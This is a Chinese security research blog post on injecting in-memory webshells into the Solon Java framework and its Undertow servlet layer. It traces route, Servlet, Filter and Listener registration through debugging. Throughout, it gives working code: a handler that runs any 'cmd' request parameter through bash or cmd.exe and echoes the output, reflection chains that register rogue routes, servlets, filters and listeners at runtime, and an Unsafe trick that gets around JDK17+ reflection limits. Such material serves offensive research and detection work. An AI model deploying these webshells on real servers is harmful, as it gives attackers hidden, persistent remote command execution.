Solon框架注入内存马(二)

接上一篇文章思考部分,该框架应该还可以注入其他内存马,下面通过对solon-examples这个项目调试分析

Handler内存马

命名可能不太准确,暂时这么叫吧,调试的是demo3011-web

在HelloworldController中,在此思考一个问题,路由“/helloworld”是如何绑定HelloworldController类的helloworld()方法的,断点调试一下

image-20240815112051896

逐个查看和分析当前调用栈,来到org.noear.solon.core.route.RouterHandler这个类的handle方法

image-20240815113545106

其中this.router大有来头,里面存储着当前所有的路径信息,包括对应作用的类和方法,请求路径和请求方式

image-20240815113639541

找到“/helloworld”,可以看到ActionDefault对象里存储着对应类HelloworldController

image-20240815114056863

如果能够动态的在routesH添加一条RouterDefault,估计就能够实现内存马了

如何添加?

在org.noear.solon.core.route.RouterDefault这个类中,存在add方法,可以往routesH[1]添加RoutingDefault

image-20240815120042514

add方法有几个,找个简单点的

image-20240815120527027

其中第一个参数expr是路径,MethodType method是请求方式,至于Handler handler,则是一个ActionDefault对象,ActionDefault实现了Handler

image-20240815121136525

image-20240815121236098

这里new一个ActionDefault对象就行了,查看构造方法

image-20240815121839833

使用最简单的,也需要两个参数,其中BeanWrap 对象需要 AppContext和Class两个参数

image-20240815122043864

AppContext 是 Solon 框架的核心组件是应用上下文接口,可在上下文获取,Class clz则是路径下对应的类

回到ActionDefault这里的Method,则是Class clz下的方法,就是只访问路径时,会调用的方法,这个可通过反射获取

综上,内存马构造如下:

第一步,先搞个恶意类:

public static class MemShell{
        public MemShell(){

        }
        public  void pwn(){
            Context ctx = Context.current();
            try{
                if(ctx.param("cmd")!=null){
                    String str = ctx.param("cmd");
                    try{
                        String[] cmds =
                                System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
                                        "/c", str} : new String[]{"/bin/bash", "-c", str};
                        String output = (new java.util.Scanner((new
                                ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                        ctx.output(output);
                    }catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }catch (Throwable e){
                ctx.output(e.getMessage());
            }
        }
    }

第二步,获取到存储大量路径内容的RouterDefault,即前面的this.router ,还有获取AppContext

反射获取对象:

public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
        try{
            Field field = obj.getClass().getDeclaredField(fieldname);
            field.setAccessible(true);
            Object fieldobj = field.get(obj);
            return fieldobj;
        }catch (NoSuchFieldException e) {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldname);
            field.setAccessible(true);
            Object fieldobj = field.get(obj);
            return fieldobj;
        }
    }

获取RouterDefault和AppContext ,这个可以使用java-object-searcher工具查找

Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");

AppContext appContext = (AppContext) getfieldobj(arg$1,"_context"); 
RouterDefault _router = (RouterDefault) getfieldobj(arg$1,"_router");

第三步,注册

BeanWrap beanWrap = new BeanWrap(appContext,MemShell.class);
Method method = MemShell.class.getDeclaredMethod("pwn");
Handler newhandler = new ActionDefault(beanWrap,method);
_router.add("/pwn", MethodType.ALL,newhandler);

验证:动态注册后访问

image-20240815123253817

JBoss AS中间件

总会有些老的项目或者某些框架,必须使用 Servlet 的接口。。。Solon 对这种项目,也提供了良好的支持。

当需要 Servlet 接口时,需要使用插件:

  • 或者 solon.boot.jetty
  • 或者 solon.boot.undertow

这块内容,也有助于用户了解 Solon 与 Servlet 的接口关系。Solon 有自己的 Context + Handler 接口设计,通过它以适配 Servlet 和 Not Servlet 的 http server,以及 websocket, socket(以实现三源合一的目的):

  • 其中 solon.web.servlet ,专门用于适配 Servlet 接口。

调试发现,这里用的是io.undertow.servlert的api,即JBoss AS (JBoss Application Server),和常用的不太一样

Servlet

使用demo3012-web_servlet进行调试分析,查看这些中间件是如何被注册的,在HeheServlet下个断点,访问对应路径进行调试

image-20240816175142048

发现有很多个handleRequest,查看最初始的那个,来到了io.undertow.servlet.handlers.ServletInitialHandler

image-20240816175453732

这里的servletRequestContext应该是当前请求的上下文,查看servletRequestContext.getOriginalServletPathMatch().getServletChain()

image-20240816175758744

可以看到当前请求所对应的Servlet的信息,保存在Servletinfo对象中,查看一下这个类,来到io.undertow.servlet.api.ServletInfo

image-20240816180506212

这个类的构造函数中就,会保存servlet的类和名。Servlet是应用启动时注册的,在这里下个断点,重启应用

image-20240816182419294

成功断点,并来到了注册HeHeServlet的瞬间,调用栈往前查看,来到io.undertow.servlet.spec.ServletContextImpl的addServlet

image-20240816183021386

这个直接就是Servlet被注册的过程了,可以根据这几个步骤进行动态注册

PS:这里不能直接用当前的addServlet,前面存在判断this.ensureNotInitialized();,如果已经初始化了,就不再能往下允许,尝试反射修改也改不了

大概步骤:

  • 获取到deployment和deploymentInfo

  • new ServletInfo(),配置好Servlet的各种信息

  • deploymentInfo.addServlet(servletInfo)

  • deployment.getServlets().addServlet(servletInfo);

首先我们需要两个对象,deployment和deploymentInfo,其实拿到deployment就能拿到deploymentInfo

image-20240816192007550

如何拿到deployment和deploymentInfo?,这需要分为两种情况,如果已经当前存在类似ServletRequest req, ServletResponse res的对象,可直接反射req获取

image-20240816193345380

但是正常情况下,还是建议从ThreadLocal下获取

TargetObject = {java.lang.Thread} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [10] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {io.undertow.servlet.handlers.ServletRequestContext} 
      ---> deployment = {io.undertow.servlet.core.DeploymentImpl} 
       ---> deploymentInfo = {io.undertow.servlet.api.DeploymentInfo}
                        
                        
public Object getCurrentThreadObj(String classname) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        try{
            Thread currentThread = Thread.currentThread();
            Object threadLocals = getfieldobj(currentThread,"threadLocals");
            Object[] table = (Object[]) getfieldobj(threadLocals,"table");
            for(int i=0; i<table.length;i++){
                Object tmpobj = table[i];
                if(tmpobj==null) continue;
                Object obj = getfieldobj(tmpobj,"value");
                if(obj!=null && obj.getClass().getName().equals(classname)){
                    return obj;
                }
            }
        }catch (Exception e){
            e.printStackTrace();
            return null;
        }
        return null;
    }

内存马注册代码如下:

Object o = getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
Deployment deployment = (Deployment) getfieldobj(o,"deployment");
DeploymentInfo deploymentInfo = deployment.getDeploymentInfo();

ServletInfo servletInfo = new ServletInfo("ServletMemShell", MemServlet.class).addMapping("/S");
deploymentInfo.addServlet(servletInfo);
deployment.getServlets().addServlet(servletInfo);

其中getfieldobj

public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
        try{
            Field field = obj.getClass().getDeclaredField(fieldname);
            field.setAccessible(true);
            Object fieldobj = field.get(obj);
            return fieldobj;
        }catch (NoSuchFieldException e) {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldname);
            field.setAccessible(true);
            Object fieldobj = field.get(obj);
            return fieldobj;
        }
    }

MemServlet.class如下:

public static class MemServlet extends HttpServlet {
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            res.setContentType("text/html;charset=utf-8");
            res.getWriter().write("MemServlet\n");
            //......
        }
    }

验证

image-20240816195656623

Filter

同样的套路,调试分析,来到第一个doFilter这里

image-20240816201215047

image-20240816201500895

这里是通过遍历this.filters来获取filter的,

image-20240816201619392

而这个this.filters的赋值在构造函数,在此断点,启动调试

image-20240816201826061

往前,发现这个filters也是和deploymentInfo有联系

image-20240816202138843

继续往前看,跟踪一下这个noExtension,在io.undertow.servlet.handlers.ServletPathMatches::setupServletChains中调用了creatHandler

image-20240816222222862

往上查看发现addToListMap(noExtension, filterMapping.getDispatcher(), filter);image-20240816222441602

根进查看,大概的意思是将filter添加到noExtension的list中

image-20240816222550146

而filter是来自deploymentInfo

image-20240816222828725

继续往上看的话,deploymentInfo是通过this.deployment.getDeploymentInfo()获取的

image-20240816223058335

this.deployment是通过构造函数赋值的,又在此下断点,重启调试,往上跟踪

image-20240816224126681

再往上来到了DeploymentManagerImpl的deploy,找到了deployment的源头

image-20240816224223709

这个方法往下运行会调用一个createServletsAndFilters方法跟进查看

image-20240816224338211

发现这个和添加Servlets类似

大概就是

FilterInfo filterInfo=new FilterInfo("name", filter.class);
deploymentInfo.addFilter(filterInfo);
deployment.getFilters().addFilter(filterInfo);

如何添加路由,没有指定路由无法触发filter

经过查找发现,这个Filter路由匹配是由deploymentInfo管理的

image-20240816225832325

只需要deploymentInfo.insertFilterUrlMapping(0,"FilterMemShell","/hello/*",DispatcherType.REQUEST);即可

image-20240816230132177

综上:

FilterInfo filterInfo=new FilterInfo("FilterMemShell", MemFilter.class);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0,"FilterMemShell","/hello/*",DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);

验证:

image-20240816230503758

Listenter

同样套路调试

image-20240816231336143

往前,在ApplicationListeners中的requestInitialized调用

image-20240816231411242

this.servletRequestListeners存储着所有的Listener,通过当前类ApplicationListeners的addListener添加

image-20240816231848480

其构造方法,就已经在添加了

image-20240816231957788

重启调试一下发现createListeners 里面添加,还是this.deployment

image-20240816232104907

到这里思路就很清晰了,首先要deploymentInfo.addListener(listenerInfo),让后再调用ApplicationListeners的addListener里面即可

如何获取ApplicationListeners?

这个简单,deployment.getApplicationListeners()即可

综上:

ListenerInfo listenerInfo = new ListenerInfo(MemListener.class);
deploymentInfo.addListener(listenerInfo);
ManagedListener managedListener = new ManagedListener(listenerInfo,false);
deployment.getApplicationListeners().addListener(managedListener);

其中MemListener.class要回显,则需要获取HttpServletResponseImpl

TargetObject = {java.lang.Thread} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [10] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {io.undertow.servlet.handlers.ServletRequestContext} 
      ---> originalResponse = {io.undertow.servlet.spec.HttpServletResponseImpl}

回显编写

public class TmpListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {

        System.out.println("AAA\n");
        try {
            bypassreflect(TmpListener.class); //绕过JDK17+反射限制
            Object o = getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
            HttpServletResponseImpl response = (HttpServletResponseImpl) getfieldobj(o,"originalResponse");
            response.getWriter().write("MemListener!!!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public void bypassreflect(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = Object.class.getModule();
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(currentClass, addr, baseModule);
    }
    public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
        try{
            Field field = obj.getClass().getDeclaredField(fieldname);
            field.setAccessible(true);
            Object fieldobj = field.get(obj);
            return fieldobj;
        }catch (NoSuchFieldException e) {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldname);
            field.setAccessible(true);
            Object fieldobj = field.get(obj);
            return fieldobj;
        }
    }
    public Object getCurrentThreadObj(String classname) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        try{
            Thread currentThread = Thread.currentThread();
            Object threadLocals = getfieldobj(currentThread,"threadLocals");
            Object[] table = (Object[]) getfieldobj(threadLocals,"table");
            for(int i=0; i<table.length;i++){
                Object tmpobj = table[i];
                if(tmpobj==null) continue;
                Object obj = getfieldobj(tmpobj,"value");
                if(obj!=null && obj.getClass().getName().equals(classname)){
                    return obj;
                }
            }
        }catch (Exception e){
            e.printStackTrace();
            return null;
        }
        return null;
    }
}

验证:

image-20240816235015268

参考

https://xz.aliyun.com/t/12161?time__1311=GqGxRDuDgQD%3DG%3DD%2FYriQGkbHKE%2BzkF4D

https://solon.noear.org/article/429